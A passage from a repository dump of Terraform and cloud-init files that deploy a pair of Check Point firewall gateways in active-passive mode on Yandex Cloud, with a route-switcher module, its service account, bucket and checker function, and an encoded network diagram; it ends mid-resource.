secondary: 8.8.8.8
tertiary: 4.2.2.1
ntp_primary: ntp.checkpoint.com
ntp_primary_version: 4
ntp_secondary: ntp2.checkpoint.com
ntp_secondary_version: 4
================================================
FILE: network-sec/checkpoint-2VM_active-passive/check-init_gw-a.yaml
================================================
#Example file. Removing a stanza will result in system defaults for that section.
#cloud-config
blink_config:
configure: "true"
gateway_cluster_member: "false"
download_info: "true"
upload_info: "true"
ftw_sic_key: "${pass_sic}"
ssh_authorized_keys:
- "${ssh_key}"
system:
hostname: FW-A
#domainname: test.com
#dns1: 10.128.0.2
dns2: 8.8.8.8
dns3: 4.2.2.2
ntp1:
address: ntp.checkpoint.com
version: 4
ntp2:
address: ntp2.checkpoint.com
version: 4
# Please configure interfaces per OpenStack or Generic image instructions !!!!!
#interfaces:
# - name: eth0
# ipv4-address: 192.168.1.35
# subnet-length: 24
# - name: eth1
# ipv4-address: DHCP
routing:
static:
- dst: "${dst-1}"
nexthop: "${next-hop-1}"
- dst: "${dst-2}"
nexthop: "${next-hop-2}"
- dst: "${dst-3}"
nexthop: "${next-hop-3}"
- dst: "${dst-4}"
nexthop: "${next-hop-4}"
clishcmd:
- 'set static-route default nexthop gateway address "${gw}" on'
- 'set static-route default nexthop gateway address 192.168.1.1 off'
- 'save config'
================================================
FILE: network-sec/checkpoint-2VM_active-passive/check-init_gw-b.yaml
================================================
#Example file. Removing a stanza will result in system defaults for that section.
#cloud-config
blink_config:
configure: "true"
gateway_cluster_member: "false"
download_info: "true"
upload_info: "true"
ftw_sic_key: "${pass_sic}"
ssh_authorized_keys:
- "${ssh_key}"
system:
hostname: FW-B
#domainname: test.com
#dns1: 10.128.0.2
dns2: 8.8.8.8
dns3: 4.2.2.2
ntp1:
address: ntp.checkpoint.com
version: 4
ntp2:
address: ntp2.checkpoint.com
version: 4
# Please configure interfaces per OpenStack or Generic image instructions !!!!!
#interfaces:
# - name: eth0
# ipv4-address: 192.168.1.35
# subnet-length: 24
# - name: eth1
# ipv4-address: DHCP
routing:
static:
- dst: "${dst-1}"
nexthop: "${next-hop-1}"
- dst: "${dst-2}"
nexthop: "${next-hop-2}"
- dst: "${dst-3}"
nexthop: "${next-hop-3}"
- dst: "${dst-4}"
nexthop: "${next-hop-4}"
- dst: "${dst-5}"
nexthop: "${next-hop-5}"
clishcmd:
- 'set static-route default nexthop gateway address "${gw}" on'
- 'set static-route default nexthop gateway address 192.168.2.1 off'
- 'save config'
================================================
FILE: network-sec/checkpoint-2VM_active-passive/cloud-init_win.tpl.yaml
================================================
#ps1
net user Administrator "${ pass-win }"
================================================
FILE: network-sec/checkpoint-2VM_active-passive/folders.tf
================================================
//Create folders
resource "yandex_resourcemanager_folder" "folder1" {
cloud_id = var.cloud_id
name = var.vpc_name_1
}
resource "yandex_resourcemanager_folder" "folder2" {
cloud_id = var.cloud_id
name = var.vpc_name_2
}
resource "yandex_resourcemanager_folder" "folder3" {
cloud_id = var.cloud_id
name = var.vpc_name_3
}
resource "yandex_resourcemanager_folder" "folder4" {
cloud_id = var.cloud_id
name = var.vpc_name_4
}
resource "yandex_resourcemanager_folder" "folder5" {
cloud_id = var.cloud_id
name = var.vpc_name_5
}
resource "yandex_resourcemanager_folder" "folder6" {
cloud_id = var.cloud_id
name = var.vpc_name_6
}
resource "yandex_resourcemanager_folder" "folder7" {
cloud_id = var.cloud_id
name = var.vpc_name_7
}
resource "yandex_resourcemanager_folder" "folder8" {
cloud_id = var.cloud_id
name = var.vpc_name_8
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/images/network_diagram_final.drawio
================================================
7V1bc+LKrv41qdrrISm3L2AeSUwyrJo2YQIzQ15OEUMcA4EsIAP2rz9SX4yxDTGEa8az9q7gi9rdLelrSX3RhXbzOr8bt99e6KjTHVyoSmd+oVkXKvwrGvAH7/j8DikW+A137HXErcWNBy/oipuKuPvudbqTpReno9Fg6r0t33RGw2HXmS7da4/Ho9nya8+jwfJX39puN3HjwWkPknd/eZ3pi7hLCqXFg29dz30RnzbVIn/w2pYvi5ZMXtqd0SxyS6tcaDfj0WjKf73Ob7oD7DzZL5zudsXTsGLj7nCahcD88/rwXXHuXx3zsfn7W63Z1+4uTV7Kn/bgXTRYVHbqyx4Yj96HnS4WQi6069mLN+0+vLUdfDoDnsO9l+nrQDwOG6nAhTtoTybi96TfnTov4uJ5NJwKVqt43R474pKwy6fJaPA+7ZYXt5HIGwxuRoPRGK6Ho2EXC52OR/2QL2p4R752oWo3Kv4HT5LdJXrwT3c87c4jt0T33XVHr93p2IdX5FPNELwUwqwqUkxnC9koKeLeS0QsigVxsy3k0Q1LX7AMfgiupXOQWgNrat1Xzfd26/oh+PHfcPT70sg5mJ2DxdIyA4muJxlI1GIKB4la2gELtZ5H1cY3pfet9H+V117/SZm1LgnRU5hYGEyxO97awyVuFv57R8S4dngPleHh2H1q/w8qB/+DCiipv65M458LxiqGgsPp5XP71Rv4vAQotv36xh5qmg5//QkCbXc+TTwJi0w8eekO/nSnntOGh8MuNCQ7aXvstQfbfWoVzaQ9nFxOumPvOWw2tueyPfDcIW/1oPs8DR8+tZ2+yzTlcrlr/6caRlhq7Pc/C37ALxf/EuWKFMiVcgVv3ZICctXDHhH31SsiWfs0XqJREjSiacOnCW+hIt5LL6MEtwvmFWGFqPriw+JBKhX7KFLIl4v4cvq78g4Uz6VS3j43uImAy/OzUTLM3YCLqZIrae7IAaJQTOKLWipcGWkAE97eA8KQHGEOgDCs2RMmgthoEKj5EdAniSQSOchK9FmNWKk0IW7cJrAj9f0cOz7ADmmHhG6SkRk4dmGXpJqWWm5aZufgZeiySuwPGRNhYWiALjkHxr44mIb6OQezcjDVO9gfB1NH7sKX99Bvb01FUXbDwph/TgwtycCQqVEGFpS9MbB01gwUBovlAFO642wcVZTi7e3tbjgad9iNkpbgqFZI4SjRinviqDTp/yqOlkq70tE4R80US+fQHE2Okz/vb7gN/tAdQ9smCQ4z12WZjUu9Jno7CwOw78DTGJTFg1ev08HPpMrNQrJCoRCVIilCsgN+kUJcBdNMUzWFYeq+MLWofqyB6E29rUWnZbnXlvpW9mUa3fZ9HE5TtJ9kNZX1fa8uxxNIIcUiUdMskl3Em9P7/it4BRG2akQztHQvbr3sfaxAx+PRFvHkRMRmEQFZGdqIPODl4ZPhaPzaHkSezUST8aEuRhFl0J0C+F1CdRxv6CYpWbTEAykaCsrwe+zJdNweTp7hfUnJmIt9Php3lksNCdfEWHRTBFX0koyuKP9wqo43eRu0RZ94w4Env/Q8GLWnsc/HwzETPnhctrPGP8So8oHKJEaQ7aHqszIugMnIhkra3iQ+bRpsU4nfMAj4YcRvhWYsPY4rh/qxfiwFFOMqsvQwTUvkC+mKkiEeibqiRNRFiWiMJE9TmrDZMb1ZFcNcTGR8bdU5vu4U9qE7f0V8Xz10fD+MrMdvYM2YfSkleUGJMv38/JwsLDWIH04UKGuj+Px7iduJeuVTAJnDj0T6S6GjlWbsm3uaAUiHhmJuSJ6EIfnIh+7yyQ6Gm4cVEq6tktG13d9AmCHWvhxWWB08WB1CO2b4wCwVjx0+OO9w+OfDB+YK5p5Q+MBMC3DnqH+88MHToWE/M1R9VsZPJHxgbrE8Kg8fnGb4IJtHxCQ8cmsVg+O8WRGsUJPBihUe0r709yB6enxFTZv5yYemozkkh5Ds3RrRGxjLRkZjeX/S/hXm2o61+EfVzKRDeeDFP2baRNz5MPDEFv8A946++Mc87/1WJ7b4Ry2mBH0OzdHk9Ee4+MdqT9tP7Ul31XD2963+UfW0MN1BV/+YaUHptWG6L7L6B2y4Y6/+Mb/CcuRPhO9C2Tvl8F1aiDX3kQ7vI3XE6HFuy382EPITid/Jj+Xxu/OP34XbDs9x+c/mqnN83dlF7DsfLvI5/iwGbOqu1oNKe1oAea3zcGZz/GpRP/Ycf+krhC0/4SSEMnbCTkIp3yJwGqgfOglnNsm/gZCfipOQ7xH4Mk7CESb5yXlO8m+up8dX1F1sSMjHpnySP4u1rBx7kl8uyY30Y7fjduW8zmg8fRm5o2F7UFncjc0DLd75Phq9iW7ugYj6ovva79PRMhO6c2/6W5Dj7xb+vjLElTWPPLJ8eTGE9v6WBeAFp1INeb2gY1eSMM7IVQzvDjtlPLN1YYvDnVsP+5Ob+7uYfp6M3sdOdw1DiCL8l2l77HbXLqASwoT8Wit94+6gPfX+dJcqkiZJjBT6oO1HXngbecPpJFLyPd5YCHVJ1ZaEmpjCbbhdQVCQKyO2JiiIbeALweeVXqhB2PpPaEZysulKHtET05bv7afu4AOYWTnROu7CwCD8bRQz0d9QuHF9YVhZBHil0K1V+c97/5egfeCeLjFHnvq0mdAleB4ecRxuR1ouYfT8PAHtiMPfLvheOgoingW6ybK2gO+ViLhj+ErBp/DcutDENGPLOTgqC8I1SKST2Cq9kgwuyZI4aidK2hxUi/Eqq6IVq+pWjK+V2JwEm7NMsh9oJXIVxxlg68rVR2vBYyfYqhnKMrZqO4HWwnKhqmIeClqJQlJ5fBRrs7ger+KCsTl+rhqmV1uNWw8ChzA3pVuyb7zW4ydZ6iQmoDvC2IRZKc/Oz2qHqoZ6ADuUKMlJo1MFy80M0RAOdoKWBZ0Uli1RfTeWqBziQ+/jYHCpHdU5JxdbOOfKEnId1Hb9eJ2leiCoDEXmyK45IcW4qy3OVFgFcQkKULxDGITG6qDrNmeLRM4PSYTJTxA2N7MxQ1jYCWzCp9Xd4OQeYDE1a9BRbchlUFS3QkVhen4GGEODcXfAOMK4/xRroB3KpCS6vmuczBoMT5WsL2BordOYz+OFckUMNWZllT6HHrGw4SGc0AwLhCYv7Tf86b2yDG0hLxnf70cTb+qNkKdPo+l09JrC7CniyjUjL0/eeG44tg5IXjx7c8Sja/EFC1diXGhlfqneTv64F+r1HKRLvbn/ZquP/rX+9Gv+7gSK1/72Q3Gs0Z/vWkfr+IZGfeOP8+r8ob3yjN6Ugs6r41W/dd4ev/0Y3T9UA+pV3fbdz7dH9UWR153XwaCj/PunaykevSnPqhb12f+969f2r/nk/uHf9yfVGFR7+mtVe3mpBfNZ6/ePUfWuXqr2FXi/otaDsmv7+tzuUcW+KWvfexWVBnWlapVd2mi59LY1qwdV5XvPDeweXN+U4dvR9/CbFfVnD8vC35F3e/X3mkVV22M0c/Z30Apon8boy9F3Z7K8X9DGx9fB5AnaVw2afs369+6HV/1z77V63btK8f7b9UvnznUf4XmjUYVyBr9ow32nPQp1weuK8b3nYLt8+gBtbDThO5V3atXFs75PffZMoz2bsvb2fsDfKrzjaNCWOdD7doXO6Y2u29YS/SxSPjwvz2s3uk+Dx1+1puvTwZtNG813GvQDeA/aO6DA23facAy4DqD9c7sy86HcObX60NcUy1XqAavXjD5AmZ6u08CBZ/13u1clQOdjfbAvaw96QIOKi3W1oa2crhzYPqOD9lRd7As7aM05ncueQR2J3aiH32tYFfK9Rw1sg+1B/S3shzrUsw7trwAv+8TuQ/t93YC2uPjMDuqiDS0V+m9u3+jIS15m0DI4XStg/ebrMztocjqQMVEXWY7Or5sGk48b3bAbj6z/7UYV6w11K/t2fza3ob21BgU65732c+RV7x7fnu5mpeqwM2r//jGoeibo2r+erbcaE/O7BtoW6IgDabuyshhyqyPnyUWdWTbpMVC4DmfgPxwENt8YmZjD05J7XWXQPDovHQ+k7y5nlLJ6ieA2HsHtr8tyVpfgr9leaRrxqRFS0tQE4w+7wZIIh/NYQeIw0tGKPMkWI95h/CIVL9bGL/YdlzV1clUsxKTFiE1/ZZ1Iy1TYijjv7sJr5ul4kts5kgeeHd5/hK2Q1XNUzb1I/cYRtsS5H0Zp/ZxrkkIvKjHx/lyELdUFTO5aPzvXdr0S7yQYVlRkcf5SSdtC5/6DYdrpQNiWwbAvHgvLjGjGzsfxT8XCkub32QHGOoXZRSysWFCWF6l9dsZxp3Ch1v/rBHe938ov26DqTfP1XXNlsO4UTGslI1osACI0yNegxcYoEOZwXEYBsnu1T2XIzgPg2y03Kyzb4qoh0GjPKxvSZv3ySGweic0jsXkk9pwisTs8oi5ltbK0DI8Xi12diGOzLZBhLPY6j8V+GItVCymMP3Qs9jghsvPfDPHB6uJDeJSl/ewPSy6LVePraHXlKrZdJ/MGC9W4UiL/1FjJWile8o4WAyd2TxTEOs/M2y2K5vqldfG9I3GCfdnYyfP4TtWR33AZnLLTyJ8Z2xZhfM6VlyWrpWWSPa5rkVzNM+l9mEnvoNnyNpuuVvgxAZHXyOqin1YzNZ4nMHP6PbKUfu8iJaveipMn8mR72ZPtxeeATDmGLiXbSzH19pZsjxA1h49ThI+E+gk82Vjvd5SeM4EPK06hSdQ7x4ft8UHLevb2HvEhbdlsjg95ot48Ue9hsUFfxgZSKqQcInTQRL2EpB1ud24MO1iqIKIbsVCAUkzC+4GTBRGSYTLuhHl47GxBRC/FmEpS1lAfOLsMIRmylXw5pu5uNibJ1DRD7OBMTZ5MFeYMuvfenwaek2DyXzOPQoxCHFzTbOfDTqOQDHmnv0bSIEOLeS4kJQ/eYQ+bJpKvZwqCnz4RfCF+J3wkOAmFMD8gOfLwPA9IfmOD0LllHtpET07kVPHwpJFca85fa0hRvSKFM809tIXynID25HkoTuqs76+UfShpCesZLeE9ynuGON155R9K9LKuHTsBEVHPO5L2eX8jFLOT9jdWL2rNLaczs5yEv/F06OHjc0mMNtGTk/E30lIw51pzllqz3Rr+rdMYce/mLNMYbaGpJ6CqeSbuk3JuDiHbh0pklDC7tdKxMxkReXLRKWxuPtq5QXs5lUWw9uMzDOSbhz/DYIVIZJh3O3lP7HDrUrTY0fvESMlPViQpWq3vz0+TUZO02W7qvk5XwedfMNWtx3deGWoKCh92qltPm8Y7H5U7+jIiLZ6TJ0xWdMQVJ3raLNPauOG5rl/QYgt+SEHTsxk2e0TAvzyj+UL8TjmeqO9iLimPjFycQmTkFeyKs1u9sIGWnEo0Uc+Ton8ZnSEljO+Z57p8YXPtOQH1yVOVn1SE7ystX0gYwkYpoyG8R3nPdzPs1rcsmubxfcu0GcW1vuWpr0lJqI6pZRwq9uidfIVI6Kd8yFWnxZySDym3fef28Pnbw8yHPLcVKRtoyan4kEZawDnXmbPUmQOvSBEe63kuSdlcVU9AV9PmEXKHNV+Ssg+HtVg6vrwfNT2HXHeyWXqO2JmrXyzDkDx5I0Nu2v0cn7pxhqGiGZ+RLOoxydxDvqBkYP6KyLNHTuzY0A0TBhk7ywByqUCfyGPzZAqQT54beoBzQo3Vky7r7S78t8LPmXTH0J8rDaiDBhpIYZtAA7Swq3Wfnp8TWCTXC60AtoSs72IwSyp9Wl5GJS1SV9I+P5r9Kr0EM3s8aWnj353JPb0t3j5frvazthGb6hDFO5u8QOW8t0mXCwPLBuIMRu+dj2XnM0kDNk0NsAO2q0ri3L8Um50U09hOdmDEpLI9GSc8/QxjV/qyEfNx1iC4uu+OPegyZOY5WjYyoBu1bNbp8eHX6KbWZts0v+moQqYjqKhilxuZseUELJiVUzzrFHI39kvRjKUwUz9nv4SnFC5T7MScSe2NE0qAuB6dzg1OzLOEky0WFMViLiwQy2ItkV8pZ6ymQs3aIMr5Qc0uXSVFkwkbJNQUThdqqDWwptZ91Xxvt64fgh//DUe/Q+BdyNbtaNDpCtl5YC7QJMH189iOkN2r3vzE2tBPkc6MnnLc6d62KaSyMml1RFlptUGw2+Bw5Lz8iJdQ/AG3nKTyMrkILsrLM94itEc+mvGdXuEGrkOwMTXimFygEmXj/Tkfa7pHRhJNjx93qh2Qk6k5bdMm+eKmUMLITbBQ2rFoVS+ieWbCHoYr8UxjtO3xdOk6sWFS+WDD5IeWbKRjjZR+lfc+adeYpURCQL2kbptYzdQJ5qRbKq5gmFeaohOjpJZAbAx9uegVmdW2sKZSpSTDpqZcSj6WEpKUEnNrKUnJPlrQE6XtWTAKSTn4G3OURzORr85avlI+ox7+uszjGTb17zxH+adGlw8Dhh+vBjLTVgM9zLyp83L2k1jPptN1nFWG0C5Mx0LxSq4GX3fINymZV3L2YmmmYm92R4bDDfNs8n9VNnnMPF6fw3cwO3xgK5RlJ6dWnWWAt0UmdNpzAqijz7OhN+e1B3ifZ0uf0x5mi6+yDO01q054Nvm+WuOZ3VVWBpRVa5T1n73qDL6n1JqUZW+3LcfFbPG21VJFxnTMRo/v6NAmnlXdavF3gL4e4PerPqvvjU4wKzu8E/Bv4Dv15TpiFnjrXwszttcsV+dlNxWRhX1uN5ri+1Tn2dypLNunAdLV4ZmkK/u2J7LAWxWerT6oiOzxLRUzy7Ns9dZPShvNdxr0RYb4vk6bLtIptPdIeUb4sqhna27jswfMLP/I6KAtAe+LllqrUHxm2Bb2L/IDM8O3kB+YNR76uUzoA8tor9kBZpsvY/b5OfQTyEpVt7F/sC34Dstsj/VGGXWx7lgGyGlFh343WH/zNsxYv0BZ1CpjGwyQO/zL+wD4ztrZc8Q7KI/4Tt1nPL8B+p7oH6sv6bTaz9YcZIzYvR8Wf0Z5mxqs74Gezlh94R3Kvt9/B775vJ11A2WmBrJpo34hneVi/aHujlG7YXSKHVR523pNXdBpKKdAx+sWeYdaVcLfaWqif3S7J/u5pfM+dNh1rdHCd+G6qdtcrn2mqw0H6l9RFvyaYTkBryOFelTIA6tjP7DhGdRDtRsu06law50/sDIrfgN0F9pvYPtZ3zLZQz5z+eR93QQa5APKYl/B9oBsKKB3TL9o0GmDPvuC7z7qMcoP1BXa3ORYwduBddVRzpmuBw7X3QbKA8Mhw+7PkM6osbIRY1wfdBf1ymgIPQV590H3VNoATgI98ANxDGXaoLyP5ly/qZDbCiuHv+ME0L/Q91UFdBjL0SiXVZ2irCNNQ8hzg5dBey4BGmg7Ddi3oX5S5qH9iDs+1o/LWxX6hr0D+PRoRd6Bb7o+lXqBbe8xGVQFncHfgbEC+wDxQ8pyz9H591uzGtcThTIZ5jrHZbgsdU7luoZ6Vp8LugD7BWRAYW1idGWFy3BFE7pDbKmrjRdWb9ChgMteSxHvBDWLyx5gjC/q7WOd2JjUuOXttRhGgFz1ASPLUDeXYN0AK1TAaRfqTxh/Qc6AT9C3oG+Bo3Ma0MUHpKnMahxfgJd9F+quAQ85BlmIx6ijrA0EZYIyGqqx7zwATxsUvyPwErCt8cOCa53rIGJkVRf4oAuaWa1BBU/rXE8AmwXfdVYX6KOa1XcjfcNxO9p/iEGWbUX6GGUOZTbCG4r0Cv8+5w3IoU9xbArfwTHNIeIdxneQKZCJppDN1pzrU1WvNZm8wHgrZALGKl7vaiBkQrGtqLzis4oaYjRgHu+bnxF5RZ7gmCjk3i8jlggZb2pQHx31DcdtpjuAOyhfDBNA32ivBfLh4l+NY11/BnoPNFWV0XjYT3WkATzjOACyrnIaR4zJlPDvVA3Efmw/1A1pAmbrMOxAPrhY19j1yy+USdpkeIIYrOEYIsZ/4HUf7agZ5diMuCHq6aCOakJvUDc07IsakzUH28P6xgbdwWvAAZBfF55T3t6gTPCvzewJvM/bxK/7KFMavs+vOR94G525kBHATNZGzRbjnB2A7GIfe6yuM+hffA78aom+dvEa8FSMT426yuuE38Y24XgF/LSaPu/Xss6uG2US9nOFos4RIWdMBkEm5lymqqJ9SOMGXKarhCqMRhe2EIydfUbD8ROxF/nIvqNyXQH9aCJNWeqKjzjNx1Y+NoFMGKzfrLKwi1o+1A1lTZThznh/gS13w8owcOysoU0V8LGKgt1UDxxm93F8qM65rSzsrweQB/ge8p/rM+IB1RqWoAc7F+1Z+CaxlRnKjSFsHRVtCKAjfAxuoT0VoBzUGswWUdEmoExX2DiANAaOqagbIXYyfEQZYBiA9lIAcqYzO9xjWAr22ovF+oXJNcgZthHtI4YNDtq7Cu9bps861pFjYkvYJpRAm0P+4PhPe/0IT1E+UM5DnhqizqEcIE7jmIg0lNUd7c7WnNEwWeK2KRXYYAv7tcb1msujsI2ZPFooD0jjCixgYzLakiovw0FdYP6AaD/DcT5ORvWIjaU6ZX3WYjYH6vhCr3CcZz4M1suv3YhxvsHaAmOnw2wL8B0CbAuMKxq3PxyJlyrTPWa39PUILnDbho2PzK/AMVvoUNkIbZ8G1xnak+X29V99hfUN09ke4Cyzm2jA6dF+qMyFXaQxLOtVsc3CP6v6oDc+80mQ/8yuqQS8nZT7UIhlQZ3bK0HF52VWZ2CD4rNA2mrQVkFX1W3uexHUBW7noC2BfQslBfgOsw3wnRkbd/CdRjWQPBR2GDyjks8KpwOf2Jey0GJtAf3QQl+G21A67ycmU/g9tO0UZqcwuaOcDnQqlE2P03HsZ/JrCDp8xmWc9U+Vjd2hHjyI76Fvyezvvs/p+tJ20bmvR9E294XN44t+nbP2oQ7iuM76tyxs8irW1+fYV5e6LfrX0RHPuf6D34HyZjWJxAisE/PLhF9lszKZrLCxnmMN+GVsvG+hX6EBJgGWgd9fmXH7mdvhIEWPrHzbamoC76QswjjH7R/gvaiX6wsMBOzrWNzebc6Fv6iK9gQ2x1adCjsa+DSXeAzjN+c78w0ZZmtc3vqKoPNtyffQToL7Fcr4YFuVyPiw4B/vRzfKdz7O9GmE73IsWsiLHK/E9xQ5prF6oq1uCfvCEnJuIWazcXFWe4jIMB87iZB9bqs/oM72RR84hvB956KfwI6vijGaGpyuyv00HMd7/Yg+hjZXqI9oc3HeyXfYmE0Efqnc5qIzoS9ge1ZwzAI7GOUJ24PvSpuE6S2U4Ui/DfoP+Yv2uGuw+6Brwg4SPgOOQyizVfStcFxGPxj9wvnPHrOpQE/C+1gXZoPUmC/bF3aYK3yUurD3+jqnYfiA46AmfEvmP3N7j8dMoP66sBGx72aIv3wcrKoCd+ZiLFGYfuE4wPSTjZ1IM0e7QI4/IpYE/cPs2YD5CyyW5BJuezkap3Ekj+a8LszvDjiPZBwJ7DE+FsC48ZPyb1ND2NwGRTzGbzR4/AnaJsYlKuNPui18PBgHDSHLcybLGO/C73I/QBV0htABjY8R+L0mj4FZTCYxXsDiFDb2e0+Mi8xHrONYIbDbkXaSwmn681DfWcwJ7eyqwAk2/qCuGMKn5zErHHsA2/g7zjzET6Z/TexHOYbwssGeZv3B3uF+HWWYgmW3fPFOwLEE/fWy8PXqmtDROY/JIM65oj/6fk3aT6zeyCNHYHMFbU/sRzXEXRa7En3EbSjVRuwL+xFttH/FuMvsYp3ZRjL+yPjh4rtGlI/MDme4H/KR+dpCPgX/0R9A/wDp6kGNj2EYk2HySPm7Ph8HpKyxugbC3mEyy8fnqpQ/fRFHeLEWcsxjDaLeKo/bVllMR34/HN95H83l+A42trDZHGJ7wiZC/EJdbKA/w+MjlMfZdLtRlTEUn7e7ORf4pcqxG2RJFbEXsO1nLIYncRbtl589FtfR5TNmb7O4Duovi73NsQ+YHS9tThmLbrR0iVOh7cV8a+aPCduobwhbg2G5zWOv0s5qR2LrWvtuoDw+ROLRPG5/oe5k6sWMLb4K13BEz+9Rk3Mu8t7Op1zkMqLdHr7gTy74durUwxfYitx1BzYow+57dwPS9tjDsxW2+dQqmkl7OMFNcd7zxarjItT4kQ1iRRI+HHSfp+HDNdvDcStfeAjD0u+UBcuSMU+fO22B015Dpd7fwiLH8r5yxf4DYcLV0388ZAdRrkhBucIdpEmCjw9dSNQ3lXjtyutzOtno+dkoGeknG22+XDOcbA33EaYloTNTpmlL+5qlJXs5ryWHjBwycsjYCWToy5ChKoXkIYEHhoy0FaU5ZOSQkYAMkkPGMSAjvm1dl1BwPMhIW16cQ0YOGTlknAhkaMuQUUoJZRwYMvQEe040f9yqheeLpeafWXietsw8uSR9pRB8uLW8KDj/4cpzGe06kYXnxMjl4xDyYaacPJD6Yum0NiaQE9q48pXlIzyZ7+OtK8aJIUgxl5CDSIjc+fGxhKhHy1iaLiGr06uvM4afn+PHIWXYBaWn7YK6B6sSW5lxE9Rp7L/egUFqqsldTbqRNEllcOwwG6m3O3Jvd9JQdqZ/pzAkNkuTUiF5zsVhhSFt42N8NFnAr4P+oeek8SPLnmm+h3W7PdPszWQ92O1I8SsZdSpbqxOBcDPG2+yb7+PxsbiUbL2lGi7HI9TZxeugFC901MFjpir/Dw==
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/.gitignore
================================================
.terraform
terraform.tfstate
*.tfstate*
terraform.tfvars
.terraform.lock.hcl
*.zip
.DS_Store
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/.pre-commit-config.yaml
================================================
repos:
- repo: git://github.com/antonbabenko/pre-commit-terraform
rev: v1.44.0
hooks:
- id: terraform_fmt
- id: terraform_validate
- id: terraform_docs
- id: terraform_tflint
args:
- '--args=--only=terraform_deprecated_interpolation'
- '--args=--only=terraform_deprecated_index'
- '--args=--only=terraform_unused_declarations'
- '--args=--only=terraform_comment_syntax'
- '--args=--only=terraform_documented_outputs'
- '--args=--only=terraform_documented_variables'
- '--args=--only=terraform_typed_variables'
- '--args=--only=terraform_module_pinned_source'
- '--args=--only=terraform_naming_convention'
- '--args=--only=terraform_required_version'
- '--args=--only=terraform_required_providers'
- '--args=--only=terraform_standard_module_structure'
- '--args=--only=terraform_workspace_remote'
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/README.md
================================================
# Route switcher infra module
Please use this module only if you have a dedicated solution architect from Yandex.Cloud. Consult him with any questions
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/main.tf
================================================
resource "yandex_lb_target_group" "router_switcher_tg" {
folder_id = var.folder_id
name = "route-switcher-tg"
region_id = "ru-central1"
target {
subnet_id = var.first_router_subnet
address = var.first_router_address
}
target {
subnet_id = var.second_router_subnet
address = var.second_router_address
}
}
resource "yandex_lb_network_load_balancer" "router_switcher_lb" {
folder_id = var.folder_id
name = "route-switcher-lb"
type = "internal"
listener {
name = "my-listener"
port = 443
internal_address_spec {
subnet_id = var.first_router_subnet
}
}
attached_target_group {
target_group_id = yandex_lb_target_group.router_switcher_tg.id
healthcheck {
name = "tcp"
tcp_options {
port = var.router_check_port
}
}
}
}
resource "random_string" "prefix" {
length = 10
upper = false
lower = true
number = true
special = false
}
resource "yandex_iam_service_account" "route_switcher_sa" {
folder_id = var.folder_id
name = "route-switcher-sa-${random_string.prefix.result}"
}
resource "yandex_iam_service_account_static_access_key" "route_switcher_sa_s3_keys" {
service_account_id = yandex_iam_service_account.route_switcher_sa.id
}
resource "yandex_resourcemanager_folder_iam_member" "route_switcher_sa_roles" {
count = length(var.route_switcher_sa_roles)
folder_id = var.folder_id
role = var.route_switcher_sa_roles[count.index]
member = "serviceAccount:${yandex_iam_service_account.route_switcher_sa.id}"
}
resource "yandex_storage_bucket" "route_switcher_bucket" {
depends_on = [yandex_resourcemanager_folder_iam_member.route_switcher_sa_roles]
bucket = "route-switcher-${random_string.prefix.result}"
access_key = yandex_iam_service_account_static_access_key.route_switcher_sa_s3_keys.access_key
secret_key = yandex_iam_service_account_static_access_key.route_switcher_sa_s3_keys.secret_key
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/outputs.tf
================================================
output "target_group_id" {
description = "Target group id that is created by module"
value = yandex_lb_target_group.router_switcher_tg.id
}
output "load_balancer_id" {
description = "Load Balancer id that is created by module"
value = yandex_lb_network_load_balancer.router_switcher_lb.id
}
output "bucket_id" {
description = "Bucket id that is created by module"
value = yandex_storage_bucket.route_switcher_bucket.id
}
output "access_key" {
description = "Access key that is created by module"
value = yandex_iam_service_account_static_access_key.route_switcher_sa_s3_keys.access_key
}
output "secret_key" {
description = "Secret key that is created by module"
value = yandex_iam_service_account_static_access_key.route_switcher_sa_s3_keys.secret_key
}
output "sa_id" {
description = "Service account id that is created by module"
value = yandex_iam_service_account.route_switcher_sa.id
}
output "first_router_address" {
description = "Healthchecked IP address of the first router"
value = var.first_router_address
}
output "second_router_address" {
description = "Healthchecked IP address of the second router"
value = var.second_router_address
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/variables.tf
================================================
variable "folder_id" {
description = "folder_id where route switcher infra is located"
type = string
}
variable "first_router_subnet" {
type = string
description = "Subnet_id where healthchecked interface of the first router is located"
}
variable "second_router_subnet" {
type = string
description = "Subnet_id where healthchecked interface of the second router is located"
}
variable "first_router_address" {
type = string
description = "Healthchecked IP address of the first router"
}
variable "second_router_address" {
type = string
description = "Healthchecked IP address of the first router"
}
variable "router_check_port" {
description = "Healthchecked tcp port address"
type = number
default = 443
}
variable "route_switcher_sa_roles" {
description = "roles that are needed for route checker service account"
type = list(string)
default = ["load-balancer.privateAdmin", "storage.editor", "ymq.admin", "viewer"]
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-infra/versions.tf
================================================
terraform {
required_version = ">= 0.14"
required_providers {
yandex = {
source = "yandex-cloud/yandex"
version = "~> 0.5"
}
}
}
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/.gitignore
================================================
.terraform
terraform.tfstate
*.tfstate*
terraform.tfvars
.terraform.lock.hcl
*.zip
.DS_Store
================================================
FILE: network-sec/checkpoint-2VM_active-passive/modules/multi-vpc-protected-network/checker_function.tf
================================================
data "archive_file" "checker_function" {
type = "zip"
source_dir = "${path.module}/functions/checker_function/"
output_path = "${path.module}/checker_function.zip"
}
resource "yandex_function" "checker_function" {
folder_id = var.folder_id
name = "route-checker-for-${var.vpc_id}"
runtime = "python38"
entrypoint = "main.handler"
memory = "128"
execution_timeout = "600"
service_account_id = var.sa_id
environment = {
AWS_ACCESS_KEY_ID = var.access_key
AWS_SECRET_ACCESS_KEY = var.secret_key
BUCKET_NAME = var.bucket_id
CONFIG_PATH = "config-${var.vpc_id}.yaml"
YMQ_URL = yandex_message_queue.route_switcher_queue.id
}
user_hash = data.archive_file.checker_function.output_base64sha256
content {
zip_filename = data.archive_file.checker_function.output_path
}
}
resource "yandex_function_trigger" "checker_function_trigger" {
folder_id = var.folder_id
name = "route-swicher-checker-function-${var.vpc_id}"
function {
id = yandex_function.checker_function.id
service_account_id = var.sa_id
}
timer {
